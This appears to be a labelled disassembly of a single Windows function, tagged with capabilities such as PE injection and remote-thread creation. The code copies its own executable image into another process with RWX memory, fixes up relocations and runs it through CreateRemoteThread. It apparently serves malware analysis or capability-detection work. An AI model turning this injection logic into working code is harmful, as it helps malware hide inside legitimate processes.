Function at 0x140001120
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xd8
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov dword [rsp + 0x80], 0x4288
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
lea rcx, str.Opening_target_process..._n
call fcn.140001060
mov r8d, dword [rsp + 0x80]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x1400011c9
lea rcx, str.Error:_Unable_to_open_target_process_handle._n
call fcn.140001060
mov eax, 1
jmp 0x1400015b7
lea rcx, str.Allocating_memory_in_the_target_process..._n
call fcn.140001060
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140001231
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error:_Unable_to_allocate_memory_in_the_target_process.__d_n
call fcn.140001060
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400015b7
mov rdx, qword [rsp + 0x50]
lea rcx, str.Memory_allocated._Address:__010x_n
call fcn.140001060
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
mov r9d, 4
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 5
mov rcx, qword [rsp + 0x60]
lea rax, [rcx + rax + 0x88]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
mov rcx, qword [rsp + 0x70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x58]
cmp dword [rax], 0
je 0x1400013f5
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 4]
cmp rax, 8
jb 0x1400013d8
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 4]
sub rax, 8
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x58]
add rax, 8
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x40], 0
jmp 0x14000134d
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x84]
cmp dword [rsp + 0x40], eax
jae 0x1400013d8
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x90]
movzx eax, word [rcx + rax*2]
test eax, eax
jle 0x1400013d3
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x90]
movzx eax, word [rcx + rax*2]
and eax, 0xfff
mov rcx, qword [rsp + 0x58]
mov ecx, dword [rcx]
add ecx, eax
mov eax, ecx
mov eax, eax
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x78]
mov rax, qword [rax]
add rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
mov qword [rcx], rax
jmp 0x140001343
mov rax, qword [rsp + 0x58]
mov eax, dword [rax + 4]
mov rcx, qword [rsp + 0x58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
jmp 0x1400012eb
lea rcx, str.Writing_executable_image_into_target_process..._n
call fcn.140001060
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000147f
lea rcx, str.Error:_Unable_to_write_executable_image_into_target_process_n
call fcn.140001060
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400015b7
lea rcx, str.Creating_remote_thread_in_target_process..._n
call fcn.140001060
lea rax, [0x1400010e0]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
sub rax, qword [rsp + 0x70]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xb8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x140001539
lea rcx, str.Error:_Unable_to_create_remote_thread_in_target_process._n
call fcn.140001060
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x1400015b7
lea rcx, str.Thread_successfully_created__Waiting_for_the_thread_to_terminate..._n
call fcn.140001060
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, str.Thread_terminated__n
call fcn.140001060
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Freeing_allocated_memory..._n
call fcn.140001060
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x8000
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140001660
add rsp, 0xd8
pop rdi
pop rsi
ret